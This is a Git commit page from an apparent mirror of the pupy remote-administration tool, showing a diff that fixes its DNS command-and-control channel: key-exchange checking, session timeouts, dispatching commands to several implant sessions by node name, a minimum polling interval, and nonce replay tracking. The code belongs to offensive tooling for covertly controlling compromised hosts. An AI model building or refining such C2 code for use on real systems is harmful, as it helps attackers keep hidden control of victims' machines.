mirror of https://github.com/n1nj4sec/pupy.git
DNSCNC fixes. TODO: DNS storm handling
This commit is contained in:
parent
9b8c682201
commit
26a0159cb6
|
@ -188,7 +188,7 @@ class DnsCommandsClient(Thread):
|
||||||
request = self.encoder.generate_kex_request()
|
request = self.encoder.generate_kex_request()
|
||||||
kex = Kex(request)
|
kex = Kex(request)
|
||||||
response = self._request(kex)
|
response = self._request(kex)
|
||||||
if not len(response) == 1 and not isinstance(response[0], Kex):
|
if not len(response) == 1 or not isinstance(response[0], Kex):
|
||||||
logging.error('KEX sequence failed. Got {} instead of Kex'.format(
|
logging.error('KEX sequence failed. Got {} instead of Kex'.format(
|
||||||
response))
|
response))
|
||||||
return
|
return
|
||||||
|
|
|
@ -74,7 +74,7 @@ class DnsCommandServerException(Exception):
|
||||||
return str(self.error)
|
return str(self.error)
|
||||||
|
|
||||||
class DnsCommandServerHandler(BaseResolver):
|
class DnsCommandServerHandler(BaseResolver):
|
||||||
def __init__(self, domain, key, recursor=None, timeout=10):
|
def __init__(self, domain, key, recursor=None, timeout=None):
|
||||||
self.sessions = {}
|
self.sessions = {}
|
||||||
self.domain = domain
|
self.domain = domain
|
||||||
self.recursor = recursor
|
self.recursor = recursor
|
||||||
|
@ -93,7 +93,7 @@ class DnsCommandServerHandler(BaseResolver):
|
||||||
|
|
||||||
self.interval = 30
|
self.interval = 30
|
||||||
self.kex = True
|
self.kex = True
|
||||||
self.timeout = timeout
|
self.timeout = timeout or self.interval*3
|
||||||
self.commands = []
|
self.commands = []
|
||||||
self.lock = RLock()
|
self.lock = RLock()
|
||||||
self.finished = Event()
|
self.finished = Event()
|
||||||
|
@ -127,14 +127,22 @@ class DnsCommandServerHandler(BaseResolver):
|
||||||
self.commands.append(command)
|
self.commands.append(command)
|
||||||
|
|
||||||
if session:
|
if session:
|
||||||
session = self.find_sessions(spi=session) or \
|
sessions = self.find_sessions(spi=session) or \
|
||||||
self.find_sessions(node=session)
|
self.find_sessions(node=session)
|
||||||
|
|
||||||
if not session:
|
if not sessions:
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
session.add_command(command)
|
count = 0
|
||||||
return 1
|
if type(sessions) in (list, tuple):
|
||||||
|
for session in sessions:
|
||||||
|
session.add_command(command)
|
||||||
|
count += 1
|
||||||
|
else:
|
||||||
|
count = 1
|
||||||
|
sessions.add_command(command)
|
||||||
|
|
||||||
|
return count
|
||||||
else:
|
else:
|
||||||
count = 0
|
count = 0
|
||||||
for session in self.find_sessions():
|
for session in self.find_sessions():
|
||||||
|
@ -153,14 +161,22 @@ class DnsCommandServerHandler(BaseResolver):
|
||||||
self.commands = []
|
self.commands = []
|
||||||
|
|
||||||
if session:
|
if session:
|
||||||
session = self.find_sessions(spi=session) or \
|
sessions = self.find_sessions(spi=session) or \
|
||||||
self.find_sessions(node=session)
|
self.find_sessions(node=session)
|
||||||
|
|
||||||
if not session:
|
if not sessions:
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
session.commands = []
|
count = 0
|
||||||
return 1
|
if type(sessions) in (list, tuple):
|
||||||
|
for session in sessions:
|
||||||
|
session.commands = []
|
||||||
|
count += 1
|
||||||
|
else:
|
||||||
|
count = 1
|
||||||
|
sessions.commands = []
|
||||||
|
|
||||||
|
return count
|
||||||
else:
|
else:
|
||||||
count = 0
|
count = 0
|
||||||
for session in self.find_sessions():
|
for session in self.find_sessions():
|
||||||
|
@ -179,20 +195,23 @@ class DnsCommandServerHandler(BaseResolver):
|
||||||
elif spi:
|
elif spi:
|
||||||
return self.sessions.get(spi)
|
return self.sessions.get(spi)
|
||||||
elif node:
|
elif node:
|
||||||
for session in self.sessions.itervalues():
|
return [
|
||||||
if session.system_info and session.system_info['node'] == node:
|
session for session in self.sessions.itervalues() \
|
||||||
return session
|
if session.system_info and \
|
||||||
|
session.system_info['node'] == node
|
||||||
return None
|
]
|
||||||
|
|
||||||
@locked
|
@locked
|
||||||
def set_policy(self, kex=True, timeout=10*60, interval=60):
|
def set_policy(self, kex=True, timeout=None, interval=None):
|
||||||
if kex == self.kex and self.timeout == timeout and self.interval == self.interval:
|
if kex == self.kex and self.timeout == timeout and self.interval == self.interval:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
if interval and interval < 30:
|
||||||
|
raise ValueError('Interval should not be less then 30s to avoid DNS storm')
|
||||||
|
|
||||||
self.interval = interval or self.interval
|
self.interval = interval or self.interval
|
||||||
self.kex = kex if not kex is None else self.kex
|
self.timeout = max(timeout, self.interval*3) if timeout else self.timeout
|
||||||
self.timeout = max(timeout, interval*3) or self.timeout
|
self.kex = kex if ( not kex is None ) else self.kex
|
||||||
|
|
||||||
cmd = Policy(self.interval, self.kex)
|
cmd = Policy(self.interval, self.kex)
|
||||||
return self.add_command(cmd)
|
return self.add_command(cmd)
|
||||||
|
@ -351,7 +370,7 @@ class DnsCommandServerHandler(BaseResolver):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
request, session, nonce = self._q_page_decoder(qname)
|
request, session, nonce = self._q_page_decoder(qname)
|
||||||
if session and session.last_nonce:
|
if session and session.last_nonce and session.last_qname:
|
||||||
if nonce < session.last_nonce:
|
if nonce < session.last_nonce:
|
||||||
logging.info('Ignore nonce from past: {} < {}'.format(
|
logging.info('Ignore nonce from past: {} < {}'.format(
|
||||||
nonce, session.last_nonce))
|
nonce, session.last_nonce))
|
||||||
|
@ -369,6 +388,7 @@ class DnsCommandServerHandler(BaseResolver):
|
||||||
|
|
||||||
if session:
|
if session:
|
||||||
session.last_nonce = nonce
|
session.last_nonce = nonce
|
||||||
|
session.last_qname = qname
|
||||||
|
|
||||||
except DnsCommandServerException as e:
|
except DnsCommandServerException as e:
|
||||||
nonce = e.nonce
|
nonce = e.nonce
|
||||||
|
|
Loading…
Reference in New Issue